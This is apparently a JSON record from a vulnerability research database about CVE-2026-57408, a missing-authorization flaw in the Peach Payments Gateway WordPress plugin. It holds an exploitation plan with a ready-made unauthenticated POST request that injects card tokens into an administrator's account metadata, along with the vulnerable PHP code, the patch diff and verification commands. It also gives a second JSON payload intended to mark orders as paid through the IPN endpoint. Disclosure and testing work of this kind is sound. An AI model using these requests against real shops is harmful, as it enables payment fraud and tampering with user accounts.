[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fgNfl0djAxINq9P35SzuaH8HJPabOQHX7wLgRpmXt4Tg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57408","peach-payments-gateway-missing-authorization-2","Peach Payments Gateway \u003C= 4.0.2 - Missing Authorization","The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.0.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.","wc-peach-payments-gateway",null,"\u003C=4.0.2","4.0.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 00:00:00","2026-07-14 19:27:11",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb1dea93c-437b-45ac-9dc3-07d3aa3f1c9f?source=api-prod",7,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fadmin-settings.css","changelog.txt","includes\u002Fclass-init.php","includes\u002Fclass-ipn-handler.php","includes\u002Fclass-order-utils.php","includes\u002Fclass-peach-api.php","includes\u002Fclass-subscription-handler.php","includes\u002Fclass-token-add-handler.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57408\n\n## 1. Vulnerability Summary\nThe Peach Payments Gateway plugin (versions \u003C= 4.0.2) is vulnerable to **Missing Authorization** within its `init` hook handler located in `includes\u002Fclass-init.php`. The plugin registers an anonymous function on the `init` hook that processes card registration returns from the Peach Payments gateway. \n\nThis handler fails to perform any capability checks or nonce verification. Furthermore, it allows the `user_id` to be specified directly in the `$_POST['customParameters']['WOOCOMMERCE_USER']` parameter. An unauthenticated attacker can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any WordPress user, including administrators.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Any frontend or backend URL (the handler runs on the `init` hook).\n- **Trigger**: The request must include the query parameter `pp_add_card_return`.\n- **Method**: `POST`.\n- **Authentication**: None (unauthenticated).\n- **Vulnerable Sink**: `update_user_meta($user_id, 'my-cards', $cards)`.\n- **Payload Parameters**:\n    - `customParameters[WOOCOMMERCE_USER]`: The target user's ID (e.g., `1`).\n    - `registrationId`: The malicious token\u002Fstring to inject.\n    - `result_code`: A code signifying success (e.g., `000.000.000`).\n    - Supplemental card display fields: `card_last4Digits`, `card_holder`, `paymentBrand`, `card_expiryMonth`, `card_expiryYear`.\n\n## 3. Code Flow\n1. **Hook Entry**: `WC_Peach_Gateway_Init::init()` (in `includes\u002Fclass-init.php`) registers an anonymous function on the `init` hook (line 88).\n2. **Conditional Check**: The function checks if `isset( $_GET['pp_add_card_return'] )` (line 89).\n3. **User Identification**: It extracts the target user ID from `$_POST['customParameters']['WOOCOMMERCE_USER']` (lines 92-93).\n4. **Result Validation**: It checks if `PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code'])` returns true (line 102).\n5. **Metadata Update**: If successful, it constructs a `$card_data` array and appends it to the target user's `my-cards` meta via `update_user_meta` (line 119).\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a nonce**. The vulnerable logic is located within an `init` hook that serves as a callback for the Peach Payments gateway. Because it is designed to receive asynchronous POST requests from an external service, it lacks standard WordPress CSRF (nonce) protections and fails to implement any alternative verification (such as request signing or IP whitelisting).\n\n## 5. Exploitation Strategy\nThe goal is to inject a \"malicious\" card token into the Administrator's account (User ID 1).\n\n**HTTP Request (via `http_request` tool):**\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002F?pp_add_card_return=1`\n- **Method**: `POST`\n- **Headers**: \n    - `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n```text\nregistrationId=MALICIOUS_TOKEN_CVE_2026_57408\n&result_code=000.000.000\n&customParameters[WOOCOMMERCE_USER]=1\n&card_last4Digits=1337\n&card_holder=Attacker\n&paymentBrand=VISA\n&card_expiryMonth=12\n&card_expiryYear=2030\n```\n*(Note: `000.000.000` is the standard Peach Payments success code (inferred from `class-peach-api.php`)).*\n\n## 6. Test Data Setup\n1. Ensure the Peach Payments Gateway plugin (version 4.0.2) is installed and active.\n2. Ensure WooCommerce is active.\n3. Confirm that an administrator user exists with ID `1`.\n\n## 7. Expected Results\n- The server should return a `200 OK` or `302 Redirect` (depending on subsequent redirection logic in `init`).\n- The `wp_usermeta` table will be updated for user `1`.\n- A new entry will be added to the `my-cards` meta key containing the `registrationId` \"MALICIOUS_TOKEN_CVE_2026_57408\".\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the injection using WP-CLI:\n```bash\nwp user meta get 1 my-cards\n```\n**Expected output:**\nA serialized array (or PHP object representation) containing the injected card data:\n```php\narray(\n  array(\n    'id'        => 'MALICIOUS_TOKEN_CVE_2026_57408',\n    'num'       => 'xxxx-1337',\n    'holder'    => 'Attacker',\n    'brand'     => 'VISA',\n    'exp_month' => '12',\n    'exp_year'  => '2030',\n  )\n)\n```\n\n## 9. Alternative Approaches\n### IPN Handler Exploitation\nThe `PP_Gateway_IPN_Handler::handle_ipn` function (in `includes\u002Fclass-ipn-handler.php`) is registered to the `woocommerce_api_wc_gateway_peach_hosted` hook. \n- **Endpoint**: `\u002Fwc-api\u002Fwc_gateway_peach_hosted`\n- **Vulnerability**: It also lacks authorization and processes a JSON payload.\n- **Payload**:\n  ```json\n  {\n    \"merchantTransactionId\": \"ORDER_NUMBER_HERE\",\n    \"status\": \"SUCCESS\",\n    \"id\": \"PAYMENT_ID\"\n  }\n  ```\nIf the function `PP_Gateway_Order_Utils::find_order_by_number` is modified or functional in the target environment to successfully return a `WC_Order` object, an attacker could mark any order as \"Paid\" or \"Completed\" by guessing the order number. This acts as a secondary \"Missing Authorization\" vector within the same plugin.","The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized data injection due to a missing authorization check in its card registration return handler. Unauthenticated attackers can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any user account, including administrators, by supplying the target user's ID in a crafted request.","\u002F\u002F includes\u002Fclass-init.php:88\nadd_action( 'init', function() {\n    if ( isset( $_GET['resourcePath'] ) && isset( $_GET['order_id'] ) ) {\n        $gateway = new WC_Gateway_Peach_Hosted();\n        $gateway->handle_peach_return();\n    }\n    \n    if ( isset($_GET['pp_add_card_return']) ) {\n        if(isset($_POST)){\n            if(isset($_POST['customParameters']['WOOCOMMERCE_USER'])){\n                $user_id = (int)$_POST['customParameters']['WOOCOMMERCE_USER'];\n\n                if(isset($_POST['registrationId']) && isset($_POST['result_code'])){\n                    if(PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code'])){\n                        $user_tokens = PP_Gateway_Order_Utils::get_user_card_tokens( $user_id );\n                        $registration_id = $_POST['registrationId'];\n                        \n                        if(empty($user_tokens) || !in_array($registration_id,$user_tokens)){\n                            $card_data = [\n                                'id'        => $registration_id,\n                                'num'       => 'xxxx-'.$_POST['card_last4Digits'],\n                                'holder'    => $_POST['card_holder'],\n                                'brand'     => $_POST['paymentBrand'],\n                                'exp_month' => $_POST['card_expiryMonth'],\n                                'exp_year'  => $_POST['card_expiryYear'],\n                            ];\n                    \n                            $cards = get_user_meta( $user_id, 'my-cards', true );\n                            if ( ! is_array( $cards ) ) {\n                                $cards = [];\n                            }\n                            $cards[] = $card_data;\n                            update_user_meta( $user_id, 'my-cards', $cards );\n                        }\n                    }\n                }\n            }\n        }\n    }\n});","--- includes\u002Fclass-init.php\n+++ includes\u002Fclass-init.php\n@@ -90,7 +90,7 @@\n \t\t\t\n \t\t\tif ( isset($_GET['pp_add_card_return']) ) {\n \t\t\t\tif(isset($_POST)){\n-\t\t\t\t\tif(isset($_POST['customParameters']['WOOCOMMERCE_USER'])){\n+\t\t\t\t\tif(isset($_POST['customParameters']['WOOCOMMERCE_USER']) && is_user_logged_in() && get_current_user_id() === (int)$_POST['customParameters']['WOOCOMMERCE_USER']){\n \t\t\t\t\t\t$user_id = (int)$_POST['customParameters']['WOOCOMMERCE_USER'];\n \t\t\t\t\t\t\u002F\u002F Add Card return handler logging (POST back from Peach).","The vulnerability is triggered by sending an unauthenticated POST request to the WordPress site's root (or any page) with the `pp_add_card_return` query parameter. An attacker can specify a target user (e.g., an administrator with ID 1) using the `customParameters[WOOCOMMERCE_USER]` POST parameter. By including a valid success code in `result_code` (e.g., `000.000.000`) and a malicious string in `registrationId`, the attacker can inject a fraudulent card token into the target user's `my-cards` metadata. This occurs because the plugin fails to verify if the request originated from the payment gateway or if the current session belongs to the user being updated.","gemini-3-flash-preview","2026-07-16 15:35:29","2026-07-16 15:36:52",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.0.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-peach-payments-gateway\u002Ftags\u002F4.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-peach-payments-gateway.4.0.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-peach-payments-gateway\u002Ftags\u002F4.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-peach-payments-gateway.4.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-peach-payments-gateway\u002Ftags"]